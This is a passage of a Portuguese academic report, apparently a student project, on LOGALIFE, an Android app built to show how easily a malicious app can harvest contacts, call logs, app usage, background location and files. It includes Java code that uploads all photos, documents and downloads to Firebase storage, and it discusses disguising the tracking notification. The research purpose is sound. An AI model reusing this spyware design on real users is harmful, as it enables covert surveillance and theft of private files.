e Rastrear chamadas: Pretende-se armazenar o registo de chamadas efetuadas

pelo utilizador da aplicagéo.
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Aceder aos contactos: Pretende-se aceder e armazenar os contactos do utilizador.

Aceder aos ficheiros: Pretende-se aceder e armazenar os ficheiros do utilizador.

Aceder localizacdo: Este sera um dos topicos mais complexos pois envolvera
guardar a localizacdo do utilizador varias vezes ao dia e para tal serd necessario

que o utilizador tenha o GPS do seu smartphone ligado.

Aceder a Lista de Aplicacdes Utilizadas: Este ponto requer que a aplicacao

LOGALIFE permita identificar quais as aplicacBes acedidas pelo utilizador, bem

como as horas a que foram acedidas.

Gerar um resumo da utilizacdo do smartphone por parte do utilizador: Esta
funcdo permitira gerar um resumo da informacdo recolhida nos requisitos

anteriormente mencionados.

Requisitos Ndo Funcionais

Para além dos requisitos funcionais, existem também alguns requisitos nao funcionais

que terdo de ser tidos em conta para garantir o correto funcionamento da aplicacdo. Como

mencionado anteriormente, estes requisitos ndo contribuem para o alargamento das

funcionalidades da aplicacdo, mas permitem que estas sejam possiveis do ponto de vista

técnico. Alguns dos requisitos ndo funcionais sao:

Armazenamento de dados: O armazenamento de dados podera ser dividido em
2 tipos. O primeiro tipo de armazenamento é o armazenamento local que permitira
guardar dados no smartphone do utilizador (este tipo de armazenamento sera
apenas utilizado como cache pelo Firebase quando néo existe ligagéo a internet).
O outro tipo é o armazenamento externo que sera efetuado recorrendo a base de

~

dados néo relacional Firebase.
Integracdo com Firebase: De modo a ser possivel utilizar as inumeras

ferramentas do Firebase é necessario fazer a integracdo com a aplicacdo a ser

desenvolvida. Esta € uma tarefa demorada, mas que permite utilizar o sistema
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Firebase para o armazenamento de dados utilizando o seu servico de Realtime

Database e outros que possam Vir a Ser necessarios.

3.2.2. User Stories

Com base no levantamento de requisitos foram identificadas as User Stories descritas

na Tabela 4:

Registo de Chamadas

Lista de Contactos

Localizacéao

Aplicacdes
Instaladas /

Utilizadas

Arrancar Servico

Remotamente

Tabela 4 - User Stories

Como utilizador, pretendo que a aplicacéo
aceda ao meu registo de chamadas e o
armazene na aplicacdo LOGALIFE.

Como utilizador, pretendo que a aplicacéo
aceda a minha 1lista de contactos e a
armazene na aplicacdo LOGALIFE.

Como utilizador, pretendo que a aplicacéo
armazene a minha localizacdo na aplicacédo
LOGALIFE.

Como utilizador, pretendo que a aplicacéo
LOGALIFE enumere as aplicagdes acedidas
pelo utilizador, bem como a duracdo que
as mesmas foram utilizadas.

Como programador da aplicacdo LOGALIFE,
pretendo arrancar, de forma remota, O
servigco de Foreground de acesso a

localizacdo do utilizador.
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Desenvolvimento

Neste capitulo ¢é feita a explicacdo, de forma mais detalhada, da implementacdo das
principais funcionalidades do projeto LOGALIFE, explicando 0 processo de
implementacéo e desenvolvimento ndo so a nivel das funcionalidades, mas também em

alguns casos, entrando num pouco mais de detalhe a nivel técnico.

O capitulo estd dividido em 11 subcapitulos que correspondem as funcionalidades
principais que foram desenvolvidas neste projeto. Dos 11 subcapitulos existentes, o
primeiro corresponde ao resumo das aplicagdes utilizadas durante o desenvolvimento, 0s
8 subcapitulos seguintes coincidem com o desenvolvimento da aplicagdo Android. O
penultimo subcapitulo esta relacionado com a aplicacdo WEB que tem o objetivo de
mostrar os dados da aplicacdo Android LOGALIFE. No ultimo subcapitulo é feita uma
andlise aos resultados obtidos e também sdo respondidas as questdes efetuadas na
introducdo do documento.

4.1. Aplicacoes Utilizadas

Antes de iniciar o desenvolvimento da aplicagdo LOGALIFE foram instaladas e

configuradas algumas aplicaces necessarias para o desenvolvimento da mesma.

Foi instalado o Android Studio’’, um ambiente de desenvolvimento que permite a
construcio de aplicacbes Android, quer seja para smartphones, tablets, Android TVé,
Android Wear*® ou Android Auto®.

Ainda antes do desenvolvimento da aplicacdo foi criada uma conta escolar no Firebase
que foi posteriormente associada com o Android Studio. A escolha do Firebase deveu-se

a uma soma de fatores como:

e Facilidade de integracdo com Android,;

17 https://developer.android.com/studio

18 hitps://www.android.com/intl/pt_pt/tv/
19 https://wearos.google.com/

20 hitps://www.android.com/intl/pt_pt/auto/
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e Fécil gestdo da base de dados, utilizando o servico Realtime Database;

e Possibilidade de utilizar os servigcos sem custo uma vez que os limites oferecidos
através do plano gratuito sdo os suficientes para o contexto da aplicagdo em
causa;

e Existéncia de outros servicos que poderdo ser Uteis no desenvolvimento da

aplicacdo como por exemplo as push notifications;

Para além da configuracdo do Android Studio e do Firebase foi também utilizada a
aplicacdo Vysor?! que permitiu emitir o ecrd do smartphone para o computador e desta
forma demonstrar as funcionalidades implementadas durante a sprint & orientadora do

projeto.

4.2. Acesso aos Contactos e Registo de Chamadas

De modo a agilizar a fase inicial do desenvolvimento do codigo, foram escolhidas as user
stories teoricamente mais simples. As stories escolhidas correspondem, na Tabela 4 ao

“Registo de Chamadas” e “Lista de Contactos”.

Uma vez que esta foi a primeira sprint, algum tempo foi investido a instalar e configurar
as aplicacdes necessarias como o Android Studio, Android Emulator, Vysor, etc. Foi
também aplicado algum tempo a fazer a integracdo entre o projeto do Android Studio e 0
projeto criado no Firebase para fazer o armazenamento de dados e ficheiros.

O objetivo desta sprint consistia em obter a lista de contactos do utilizador bem como o
registo de chamadas do mesmo e, de seguida, armazenar esta informacao na base de dados

Firebase.

Esta informacdo podera ser bastante relevante para perceber o comportamento do
utilizador, perceber quais 0s contactos que tem armazenados, perceber com quais desses
existe maior comunicacao e até mesmo entender os horarios nos quais o utilizador realiza

chamadas. Para além disso, caso a aplicacdo LOGALIFE ou qualquer outra aplicacdo

21 https://www.vysor.io/
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mal-intencionada for utilizada em larga escala sera possivel criar um dataset de contactos

através dos nimeros de telemovel capturados e 0s seus respetivos nomes.

O modelo de classes utilizado, visivel na Figura 9, representa a organizagdo das classes
criadas para a obtencédo da lista de contactos e registo de chamadas. As classes contact
€ PhoneCallRecord S380 as classes correspondentes ao modelo. A classe
ContactManager € a classe onde se encontra a l6gica responsavel por gerir a obtencédo de

contactos e registo de chamadas do utilizador.

De modo a ser possivel listar os contactos do utilizador € necessaria a permissao
android.permission.READ CONTACTS. A partir do momento que esta permisséo é
concedida é possivel fazer uma chamada a tabela contacts da base de dados interna do
Android. Séo iterados todos os contactos e é usado um HashMap que usa como chave o
namero de telemdvel de cada um dos contactos e como valor utiliza a classe contact.
Finalmente a lista de contactos é armazenada na tabela contacts da base de dados do

Firebase, como é possivel confirmar na Figura 8.

id: "24749"
name: "Apoio MEQ"
phoneNumber: "1696"

id: "24757"
name: "Saldo’
phoneNumber: "12044"

N 190 AE

Figura 8 - Estrutura da Tabela "contacts™ - Firebase
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ContactManager

gl S

Contact PhoneCallRecord FirebaseUtils

Figura 9 - Estrutura de Classes para Contactos

hours: 23

minutes: 58

month: 6

time: 1655306236720000

timezoneOffset: 0

year: 52524
duration:"0"
phoneNumber "91[.‘.
timestamp: 1655306236720

type: "2"

Figura 10 - Estrutura da Tabela "call_records" — Firebase

Relativamente ao registo de chamadas é também necessaria uma permissao para ser

possivel aceder ao historico das chamadas efetuadas e recebidas, a permissao € a seguinte:

android.permission.READ CALL LoG. A logica de funcionamento da fungéo

responsavel por aceder ao registo de chamadas é semelhante a anteriormente explicada

para aceder & lista de contactos. E efetuada uma chamada a tabela ca11s da base de dados
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interna do Android e posteriormente é enviado o registo para a tabela ca11 records da

base de dados do Firebase, como é possivel confirmar na Figura 10.

A classe responsavel por fazer a ponte entre o backend e a base de dados Firebase ¢é a
FirebaseUtils, esta classe faz as validagbes necessarias para evitar erros no
armazenamento dos dados. Esta classe é independente da logica relacionada com os

contactos e serd Util para gerir o armazenamento dos dados para a restante aplicagéo.

Agquando do desenvolvimento da aplicacdo WEB foi adicionado 0 campo contactName
que corresponde ao nome do contacto com quem a chamada foi realizada. Este campo foi
adicionado para evitar chamadas desnecessarias a base de dados uma vez que, caso 0
nome do contacto ndo fosse armazenado na tabela cal1l records, Seria necessaria uma
chamada adicional a base de dados, por cada chamada no registo, de forma a obter o nome

associado ao numero de telemovel.

4.3. Lista de AplicagOes Utilizadas

A segunda sprint do projeto foi destinada a analise das aplicacdes instaladas no
smartphone do utilizador [8]. Esta andlise tem dois propdsitos, descobrir quais as
aplicacdes instaladas no smartphone e quanto tempo cada aplicacdo foi usada pelo

utilizador.

De modo a obter a informacéo pretendida, foi utilizado o package usagestatsManager
que permite de forma simplificada aceder a lista de aplicacGes instaladas e posteriormente
calcular quantos milissegundos cada uma foi utilizada num certo intervalo temporal. O
package usagestatsManager permite ao programador escolher, entre cinco opgdes, qual
a periodicidade temporal em que pretende obter as estatisticas, como se pode consultar

na Figura 11.

Foi utilizada a op¢do TNTERVAL YEARLY, que cOMO 0 nome deixa adivinhar utiliza os
ultimos 365 dias para realizar as estatisticas. Apesar de inicialmente ter sido utilizada esta
opcéo, a qualquer momento podera ser utilizado outro intervalo quer seja dos ja definidos
pelo package (consultar Figura 11), quer seja utilizando intervalos personalizados

(através da 0pgdo TNTERVAL BEST).
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an interval type that spans a day. See queryUsageStats(int, long, long)
public static final int INTERVAL_DAILY = 0;

An interval type that spans a week. See queryUsageStats(int, long, long)
public static fimal int INTERVAL_WEEKLY = 1,

An interval type that spans a month. See gueryUsageStats(int, long, long)
public static Tinal int INTERVAL_MONTHLY = 2;

An interval type that spans a year. See querylUsageStats(int, long, long)

public static fTinal int INTERVAL_YEARLY = 3;

An interval type that will use the best fit interval for the given time range. See queryUsageStats(int,
long, long)

public static finmal int INTERVAL_BEST = 4;

Figura 11 - Intervalos Temporais do package UsageStatsManager

A modalidade de intervalos de tempo personalizados podera ser um ponto interessante a
explorar no futuro pois podera ser vantajoso associar localizagdes as aplicagdes utilizadas

no momento.

De modo a ser possivel aceder a informacédo estatistica da utilizacdo das aplicacdes é
necessario pedir ao utilizador a permissao
android.permission.PACKAGE USAGE STATS, COMO Se pode verificar na Figura 12. Foi
desenvolvida uma funcionalidade que verifica, sempre que a aplicacdo é aberta, se esta
permissdo ja foi concedida pelo utilizador e em caso negativo é apresentado ao utilizador
0 ecrd da Figura 12.
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<  Usage access Q
LOGALIFE
1.0
Permit usage access .

Usage access allows an app to track what other
apps you're using and how often, as well as your
carrier, language settings, and other details

Figura 12 - Permissao ""Usage Acess""

Foi utilizada uma arquitetura semelhante a anteriormente explicada para a obtencédo dos
contactos, ou seja, foi também utilizado uma classe Manager, que no caso também é um
singleton. Esta classe é responsavel por tratar todas as estatisticas devolvidas pelo
package UsagestatsManager assoCid-las as aplicacbes e preparar os dados para serem

inseridos na base de dados Firebase.

Durante o desenvolvimento foi possivel perceber que a larga maioria das aplicacdes nao
tinha qualquer milissegundo de utilizacéo, sendo que a maior parte sdo apps que vém pré-
instaladas no sistema Android e ndo € possivel a desinstalacdo das mesmas. Considerou-
se que as aplicagdes que tivessem menos de um minuto de utilizagédo dificilmente teriam
interesse para analisar o comportamento do utilizador e sendo assim ¢ possivel “ignorar”

estas aplicacdes através de uma configuracao.

O package UsagestatsManager tem quatro métodos que contabilizam o tempo total de
utilizacdo de cada aplicacdo, cada um com as suas diferencas que podem ser consultadas
na Figura 13. Para a aplicacdo LOGALIFE a métrica considerada mais importante foi o
tempo total com a aplicagdo em primeiro plano, correspondente ao método
getTotalTimeInForeground () Uma Vez que este contabiliza o tempo de utilizagdo em
que o utilizador realmente esta a interagir com a aplicagdo, evitando assim contabilizar

minutos em que a aplicacdo corre em segundo plano.
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public long getTotalTimeInForeground() {
return mTotalTimeInForeground;

13

public long getTotalTimeVisible() { return mTotalTimevisible; }

See System.currentTimeMillis()

public long getlLastTimeForegroundServiceUsed() { return mLastTimeForegroundServiceUsed; }

public long getTotalTimeForegroundServiceUsed() { return mTotalTimeForegroundServiceUsed; }

Figura 13 - Métodos do package UsageStatsManager

Relativamente ao armazenamento dos dados na base de dados do Firebase foi encontrado
um problema ao tentar armazenar os dados. Este problema estava relacionado com a
restricdo que o Firebase tem nas chaves das tabelas relativamente aos seguintes
caracteres: '/, ', #, '8, [, 1. Alguns deste caracteres sdo utilizados nos nomes dos
packages das aplicagbes como se pode ver no exemplo seguinte:

com.linkedin.android.

De forma a ser possivel armazenar o0 nome dos packages no Firebase foi efetuada uma

(132

substitui¢do do atributo “.” pelo atributo

(132

7 e dai ficarmos com a tabela “app usage”

com o formato da Figura 14, onde para cada aplicacdo temos o tempo total, em

milissegundos, que cada aplicacdo foi utilizada no ultimo ano.
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logalife-5¢c4f5-default-rtdb
4. app_usage
------- allterco_bg_shelly: 139268491
------- android: 927179
------- com_DefaultCompany_ARWatch: 177968
------- com_TechTreeGames_Wordle: 95817
------- com_airbnb_android: 9687663
------- com_alibaba_aliexpresshd: 4266604
------- com_amazon_mShop_android_shopping: 26668581
------- com_android_chrome: 381172976
------- com_android_settings: 18255151
------- com_android_settings_intelligence: 168718
------- com_android_systemui: 2085863
------- com_android_vending: 5873828
------- com_cardsapp_android: 319166
------- com_chess: 114852
------- com_curiosity_curiositystream: 386884
------- com_discord: 26511483
------- com_ea_gp_fifaultimate: 12951411

------- com_easybrain_sudoku_android: 26817325

Figura 14 - Estrutura tabela "app_usage' no Firebase

4.4. Acesso a Localizacao

A terceira sprint de desenvolvimento foi destinada a obtencdo da localizacdo do
utilizador. O objetivo final serd, caso a versao 11 do Android assim o permita, que a cada
X minutos a aplicagéo obtenha a localizagéo do utilizador e a armazene na base de dados

do Firebase.

Apesar de o objetivo final passar por ter a aplicacdo a ser executada em background e que
a cada X minutos aceda aos dados, essa parte serd deixada para uma sprint com apenas
esse proposito (4.5 - Execucdo da Aplicacdo em Background), uma vez que 0S outros
modulos j& desenvolvidos e os modulos que ainda serdo desenvolvidos também seréo

executados em background com intervalos de tempo especificados.
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4.4.1. Obtencdo da Localizagdo

De momento, para obter a localizacéo foi utilizado um botéo simples que tem vindo a ser
utilizado ao longo das sprints anteriores para testes (consultar Figura 15). Este bot&o

contém uma funcéo associada que esta sempre a espera / escuta que o botéo seja premido.

16:00 G & B Nf =il 24% %

LOGALIFE

Figura 15 - Aplicacdo LOGALIFE

A localizacéo, obtida  através de  GPS, recorre  ao package
FusedLocationProviderClient. ESte package necessita dos seguintes requisitos para

funcionar devidamente:

. Permissdes necessarias:
0 android.permission.ACCESS FINE LOCATION

o android.permission.ACCESS COARSE LOCATION

o GPS ligado: O package FusedlocationProviderClient apresenta duas

formas diferentes de aceder a localizagéo:
o A primeira através do método getlastLocation (). Este método
devolve uma Task que pode ser usada para conseguir um objeto
Location COM as coordenadas de latitude, longitude e altitude da

ultima localizacdo geogréfica obtida no dispositivo. Esta solugdo
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apesar de mais célere, uma vez que apenas necessita de aceder a cache
do smartphone, pode ndo ser t&o precisa uma vez que o utilizador pode-
se ter deslocado desde a Gltima vez que foi obtida a localizacéo.
Chegou a ser considerada a utilizacdo deste método quando o servico
GPS estivesse desligado no smartphone, contudo a desativacdo do
GPS leva a uma limpeza da cache tornando inviavel a utilizagdo deste
método para o proposito mencionado acima.

o A segunda solucdo passa pela utilizacdo do método
getCurrentLocation (). Tal como o nome do método indica, este
devolve a localizacdo no momento em que o método é executado. Esta
foi a solucdo utilizada uma vez que no contexto da aplicacdo
LOGALIFE a precisdo da localizacdo é mais importante do que a

velocidade de obtencdo da mesma.

Um ponto importante a ter em conta € perceber o que acontece no caso de ndo haver
acesso a internet, quer seja através de WIFI ou dados mdveis. Nos testes realizados, com

e sem acesso a internet, ndo houve alterac@es significativas na preciséo da localizacéo.

Estes testes permitiram também perceber o que acontece aos dados que ndo podem ser
enviados para a base de dados Firebase por ndo haver ligacdo a internet. Nestas situacdes
0 préprio Firebase armazena os dados localmente e assim que haja ligacdo a internet estes
sdo enviados para a base de dados. Esta funcionalidade permitiu poupar bastante tempo a
tratar os dados quando nao existe liga¢do e provou que optar por esta base de dados ndo
relacional em detrimento de outros servicos semelhantes foi uma escolha adequada as

necessidades.

A arquitetura utilizada foi mais uma vez semelhante a utilizada nas sprints anteriores, ou
seja, foi também utilizada uma classe manager responsavel por tratar toda a logica relativa
a localizacdo devolvida pelo package rFusedlocationProviderClient € preparar 0S

dados para serem inseridos na base de dados Firebase.
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4.4.2. Armazenamento da Localiza¢io no Firebase — Verséo 1

Foi também criada uma classe no modelo de dados da aplica¢do chamada r.ocationinfo,
como se pode consultar na Figura 16, sendo esta a classe que € armazenada no Firebase

associada ao timestamp em que foi obtida a localizagéo.

import ...
public class LocationInfo {
public long timestamp;
public double latitude;
public double longitude;
public double altitude;
public LocationInfo(long timestamp, double latitude, double longitude, double altitude) {
this.timestamp = timestamp;
this.latitude = latitude;

this.longitude = longitude;
this.altitude = altitude;

public String toString() { return this.latitude + " " + this.longitude; }

Figura 16 - Estrutura da Classe ""LocationInfo"

Na Figura 17, é possivel consultar o formato utilizado inicialmente para armazenar 0s
dados da localizag&o na base de dados, onde a chave corresponde ao timestamp no qual a
localizagdo foi obtida e, a cada timestamp armazenado corresponde um objeto

LocationInfo COM 0S atributos altitude, latitude e longitude.
4 app_usage

4 contacts
M location
- 1643923757683
altitude: 25.23443
latitude: 39.735127
longitude: -8.821040

Figura 17 - Estrutura de Dados Inicial — Localizagao
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4.4.3. Armazenamento da Localizagdo no Firebase

Sendo este um projeto desenvolvido utilizando uma metodologia &gil, conforme véo
sendo encontradas possiveis melhorias estas sdo efetuadas caso os pros ultrapassem 0s
contras. O formato de armazenamento da localizacdo foi, portanto, alterado durante o
desenvolvimento da aplicacdo WEB de modo a facilitar a obtencdo e apresentacdo dos
dados (consultar capitulo 4.10 - Aplicagdo WEB). Foi precisamente o que aconteceu com

0 armazenamento da localizag¢do na base de dados Firebase.

Inicialmente a informagdo era guardada num formato em que cada timestamp
correspondia a uma localizagcdo, como é possivel consultar na Figura 17, contudo durante
o desenvolvimento da aplicacdo WEB chegou-se a conclusdo de que este formato seria
menos eficiente do que um formato dividido por ano, més, dia e hora, como é possivel
consultar na Figura 18. Este novo formato facilita e otimiza a filtragem das localiza¢des
quer seja por més, dia ou hora, uma vez que ndo € necessario realizar uma conversdo de
timestamp para a data pretendida para cada uma das entradas na tabela. Para além disso é

mais legivel a leitura dos dados na base de dados Firebase.

altitude: 20.399993
latitude: 39.7365421
longitude: -8.8197901
timestamp: 1654349497049

Figura 18 - Estrutura de Dados Final - Localizag&o
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De forma a ir de encontro a este novo formato foi necessario efetuar algumas alteracées
no método responsavel por armazenar a informacéo da localizacdo na base de dados,

sendo que a versdo final do método pode ser consultada na Listagem 1.

public static void savelLocationInfoInFirebase (Location location) {

FirebaseDatabase fDatabase = FirebaseDatabase.getInstance();
DatabaseReference dbReference = fDatabase.getReference() ;
LocalDateTime date = LocalDateTime.now() ;

DecimalFormat dmFormat= new DecimalFormat ("00") ;
String month =
dmFormat.format (Double.valueOf (date.getMonthValue()));
String day =
dmFormat.format (Double.valueOf (date.getDayOfMonth())) ;
String hours = dmFormat.format (Double.valueOf(date.getHour())):;
String minutes =
dmFormat.format (Double.valueOf (date.getMinute()));
String seconds =
dmFormat.format (Double.valueOf (date.getSecond()));

DatabaseReference locationRef =

dbReference.child ("location") .child("" + date.getYear()) .child("" +
month) .child("" + day);
LocationInfo locationInfo = new

LocationInfo (System.currentTimeMillis (),
location.getLatitude (), location.getLongitude (), location.getAltitude (
))

locationRef.child (hours + ":" 4+ "" + minutes + ":" +
seconds) .setValue (locationInfo) ;

Log.d("SAVING LOCATION: ", "Location: " + location.getLatitude ()
+ ", " + location.getLongitude()) ;

}

Listagem 1 - Guardar Localizago no Firebase
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4.5.Execucado da Aplicacdo em Background

Com as constantes alteracOes que estdo a ser feitas para melhorar a privacidade dos
utilizadores Android, foi atualizada a politica de permissdes de acesso a localizacéo,
principalmente no que diz respeito a localizagdo quando as aplica¢fes correm em segundo

plano.

Nas versdes mais antigas do Android ndo havia distin¢do entre a permisséo de localiza¢do
para aplicacOes executadas em primeiro e segundo plano, pelo que utilizavam os mesmos
recursos. O facto de ndo existir discriminacéo entre o tipo de servico (primeiro e segundo
plano) permitia que algumas das aplicacdes obtivessem a localizacao dos utilizadores sem

que estes soubessem.

No Android 11 e nas versdes posteriores a mesma, sempre que uma aplicacdo solicita
acesso a localizagdo em primeiro plano, o sistema permite escolher a op¢éo “Apenas desta
vez”. Esta op¢do da aos utilizadores mais controlo sobre quando essa mesma aplicacéo

pode aceder a sua localizacéo.
Ha entdo agora duas opcBes disponiveis para o programador escolher:

e Localizacdo em primeiro plano.
e Localizacdo em segundo plano, sendo que esta requere a seguinte permissao
adicional:

o android.permission.ACCESS BACKGROUND LOCATION

Na sprint 3 quando estava a ser desenvolvida a obtencdo da localizacdo surgiu um
problema com a utilizacdo do package FusedlocationProviderClient que fazia com
que o servico que devolve a localizacdo retornasse sempre as mesmas coordenadas
quando se fechava a aplicacdo. Mais tarde chegou-se a conclusdo de que o problema
estaria relacionado com a versdo 11 do Android e com a falta permissdo de acesso a

localizag&o em background.

Esta concluséo levou a uma restruturagdo na forma como é obtida a localizagdo [15 - 17],
uma vez que deixou de fazer sentido utilizar este package. Foi entdo criada a classe
LocationService (ue estende da service, permitindo que este servico fosse ativado e

desativado utilizando os botfes da Figura 19. A opc¢éo de utilizar estes dois botdes serd
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temporéria e tem o propdsito de parar ou simplesmente ndo comecar este servigo quando

estiverem a ser desenvolvidas/testadas outras funcionalidades.

18:39 & Af =l 100% 8

LOGALIFE

INICIAR SERVIGO DE LOCALIZAGAO

PARAR SERVICO DE LOCALIZAGAO

Figura 19 - Botes de Iniciar/Parar Servico de Localizagdo

Quando o utilizador carrega no botéo “Iniciar Servi¢o de Localizagdo” é verificado se a
aplicacdo LOGALIFE tem as permissOes necessarias para obter a localizacdo em

background:

e android.permission.ACCESS BACKGROUND LOCATION
e android.permission.ACCESS FINE LOCATION

e android.permission.ACCESS COARSE LOCATION

Caso se confirme que o utilizador cedeu as permissdes necessarias € entdo verificado se
0 Servigo ndo esta ja ativo e caso ndo esteja € iniciado 0 Servi¢o Locationservice. O
utilizador saberd que esta a ser executado um servico em background pois sera visivel
uma sticky notification que ndo pode ser descartada, como se pode ver na Figura 20. Esta
notificacdo apenas desaparecerd se o servi¢co for interrompido, carregando no botéo

“Parar Servico de Localizagao”.
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18:35 2 X Q = 100% 0
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§ Configuracéo do Galaxy v

Concluir a configuragdo do Galaxy A40
Sé mais alguns passos.

(@ Sistema An... USB para transferéncia ficheir.

Definigoes notificagoes
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Figura 20 - Notificagdo de Acesso a Localiza¢do em Background

Na Figura 20 ¢ possivel ler “Location Service”, mas € importar frisar que este titulo é
definido pelo programador. Caso a intencdo fosse desenvolver uma aplicacdo fraudulenta
o titulo poderia ser alterado para qualquer outro texto que levasse o utilizador a acreditar

que a notificagéo era inofensiva.

Outra nota importante é o facto de o servi¢o continuar a ser executado mesmo que 0

utilizador feche a aplicacdo e desta forma € possivel continuar a obter a sua localizacéo.

No caso de se tratar uma de aplicacdo desenvolvida mal-intencionadamente o utilizador
sabera que o servigo estd a correr e isto poderd levantar algumas suspeitas, contudo é
importante frisar que aplicacdes legitimas como por exemplo o LinkedIn?? utilizam este

tipo de notificagdes.

22 hitps://www.linkedin.com/
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Contudo durante a testagem desta funcionalidade em background, alguns minutos apds
fechar a aplicagéo surgiu um aviso que demonstra os esforcos da Google de elucidar o
utilizador relativamente ao que esta a acontecer com a sua informacdo privada. A
notificacdo visivel na Figura 21 demonstra que o sistema operativo informou o utilizador
que a aplicacdo LOGALIFE acedeu a sua localizacdo quando esta estava fechada e ainda

deixa a possibilidade de com 2 cliques alterar as permissdes atribuidas a esta aplicacéo.

18:03 B N =l 93%0a
terga, 5/04 el
Dispositivos Multimédia

Notificagdes silenciosas

£ Configuragdo do Galaxy v
Concluir a configuragao do Galaxy A40

S6 mais alguns passos

Q Definigdes

A app LOGALIFE obteve a sua locali..

Esta app consegue aceder sempre a sua -

localizagdo. Toque para alterar.
(1) USB para transferéncia ficheir.

¥ fir Carregamento por cabo (22 min

Definigoes notificages  Limpar

1 @) <

Figura 21 - Notificagdo Android Acesso a Localizagdo em Background

E ainda importar frisar que para além das 3 permissdes que foram necessarias de adicionar
ao ficheiro androidManifests.xml (consultar Listagem 2), foi também necessério

adicionar a seguinte dependéncia ao ficheiro build.gradie (consultar Listagem 3).
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<uses-permission
android:name="android.permission.ACCESS COARSE LOCATION"/>
<uses-permission
android:name="android.permission.ACCESS FINE LOCATION"/>
<uses-permission

android:name="android.permission.ACCESS BACKGROUND LOCATION"/>

Listagem 2 - Permissdes adicionadas ao ficheiro AndroidManifests.xml

implementation 'com.google.android.gms:play-services-location:18.0.0"

Listagem 3 - Dependéncia adicionada ao ficheiro build.gradle

4.6. Acesso aos Ficheiros Armazenados

Um dos objetivos tracados desde inicio passava por responder a uma questdo que muitos
dos utilizadores Android fazem ou pelo menos deveriam fazer: “O que acontece ou pode
acontecer quando é cedida a permissao de acesso a fotos e multimédia no dispositivo?” -

consultar Figura 22.

Permitir que a app LOGALIFE aceda a fotos
e multimédia no dispositivo?

Permitir

Recusar

Figura 22 - Permissao de Acesso a Fotos e Multimédia
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O objetivo principal da Sprint 5 passou exatamente por identificar quais os dados que o
utilizador poderd ceder sem que este se aperceba e com que facilidade podera um
developer mal-intencionado desenvolver uma aplicacdo que aceda aos ficheiros do

utilizador e os envie para o servidor.

A ideia inicial passava por criar um endpoint num servidor onde seriam enviados 0S
ficheiros encontrados no smartphone da “vitima”, porém o Firebase para além de
possibilitar o armazenamento de dados utilizando o servico “Realtime Database”, oferece

também o servico “Storage” onde € possivel armazenar ficheiros.

Este servico permitiu configurar, de forma rapida, um local para onde os documentos
pudessem ser enviados, até porque o projeto no Firebase ja estava associado ao projeto
no Android Studio. Foram apenas necessarios 2 passos para complementar a configuracao

do servigo “Realtime Database” configurado previamente:

1. Adicionar a seguinte dependéncia no ficheiro build.gradle:

e implementation 'com.google.firebase:firebase-storage'

2. Adicionar o seguinte plugin no ficheiro build.gradle:

e 1id 'com.google.gms.google-services'

Depois de ser possivel o envio de ficheiros para o servidor remoto do Firebase faltava a

parte mais importante, ou seja, extrair os ficheiros do smartphone.

De momento a procura de ficheiros no sistema € acionada através dum clique no botdo
“Run Logalife”, visivel na Figura 22. Este botéo foi mais uma vez utilizado num ambiente
de desenvolvimento e como trabalho futuro seria possivel, de forma remota, iniciar o
servigo em background, aceder aos ficheiros e fazer o upload dos mesmo para o Firebase

Storage.

De modo a obter a lista de ficheiros foi utilizada a funcdo estatica
getExternalStorageDirectory () pertencente ao package android.os.Environment
Esta fungéo devolve a raiz do sistema de ficheiros do Android, exatamente a pasta que
pode ser acedida quando se liga 0 smartphone ao computador, como se pode consultar na

Figura 23.
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wm 3 Este PC » Galaxy A40 » Phone v O Procurar em Phone
Alarms Android Audiobooks
DCIM Documents Downlead

Movies Music Motifications
Pictures Podcasts Ringtones

Samsung

Figura 23 - Pasta ""Phone" do Smartphone

Mais uma vez foi seguida uma arquitetura semelhante, ou seja, uma classe onde se
encontra a ldgica responsdvel por iterar as pastas consideradas relevantes e
posteriormente enviar cada ficheiro para o servidor, como é possivel consultar na
Listagem 4.
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public void getFiles () {

getFilesFromRelevantDirectories (FileUtils.RELEVANT DIRECTORIES) ;

private void getFilesFromRelevantDirectories (Stringl]

relevantDirectories) {

for (String relevantDirectory : relevantDirectories) {

getFilesFromRelevantDirectory(relevantDirectory);

private void getFilesFromRelevantDirectory (String relevantDirectory)
{

String path =
Environment.getExternalStorageDirectory () .toString() +
relevantDirectory;

Log.d("FILES - ", "Path: " 4+ path);

File directory = new File (path);
File[] files = directory.listFiles();

if (directory.canRead() && files != null && files.length > 0) {
for (File file : files) {
Log.d("FILES - ", file.getName());
if (file.isFile()) {
storeFileInFirebase (file,
FileUtils.getFirebaseStorageDirectoryByExternalDirectory(relevantDir

ectory));

}
} else {
Log.d("FILES", " No files in directory " +
relevantDirectory);

}

private void storeFileInFirebase (File file, String folder) {
Log.d("FILES", " Storing file " + file.getName() + " in
database.");

Uri uriFile = Uri.fromFile(file);
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StorageReference riversRef = storageRef.child(folder +
uriFile.getLastPathSegment());

riversRef.putFile (uriFile);

Listagem 4 - Obter Ficheiros

De modo a ser possivel aceder aos ficheiros do dispositivo Android é necessaria a

seguinte permiss&o:

e android.permission.READ EXTERNAL STORAGE

Esta permissdo permite aceder a maioria dos ficheiros, contudo, para ser possivel aceder

a todos € necessario declarar a seguinte dependéncia:

e android.permission.MANAGE EXTERNAL STORAGE

Sempre que utilizador prime o botdo “Run Logalife”, o sistema verifica se tem as
permissdes necessarias e caso ndo as tenha, volta a pedi-las ao utilizador. No caso de ja
terem sido cedidas as permissdes sdo iteradas todas as pastas consideradas relevantes, no

caso séo:
o /DCIM/Camera
o /DCIM/Screenshots
o /Documents
o /Download
o /Movies
o /Music

o /Pictures

Todos os ficheiros dentro das diretorias mencionadas sdo enviados para o Firebase onde
sdo armazenados numa pasta diferente conforme o tipo de ficheiro, como se pode

consultar na Figura 24 e na Figura 25.
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Depois de se saber que facilmente se pode desenvolver uma aplicacdo que peca a

permissao ao utilizador para aceder aos seus ficheiros, e que essa mesma aplicacdo pode

vir a enviar todos ou alguns dos ficheiros armazenados no smartphone do utilizador para

um servidor remoto, 0 passo seguinte passa por fazer uma retrospetiva do namero de

aplicacdes que cada utilizador ja cedeu a permissao de acesso aos ficheiros e quantas

dessas aplicacGes poderao ter enviados os dados do utilizador para servidores remotos.

E do conhecimento geral que a grande maioria dos utilizadores armazena ficheiros,

documentos e fotos privadas nos seus smartphones, desde documentos de identificacéo,

ficheiros com as suas moradas, documentos bancarios, ficheiros com informacgoes

confidencias, até fotografias privadas.
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4.7. Incutir Ficheiros llegais no Smartphone

Depois se ter verificado que era possivel de forma simples exportar os ficheiros do
smartphone do utilizador para o servidor surgiu a ideia de testar 0 oposto, ou seja, enviar

ficheiros de um servidor para o smartphone.

Caso isto seja possivel [12-14], pode ser bastante perigoso para o utilizador pois um
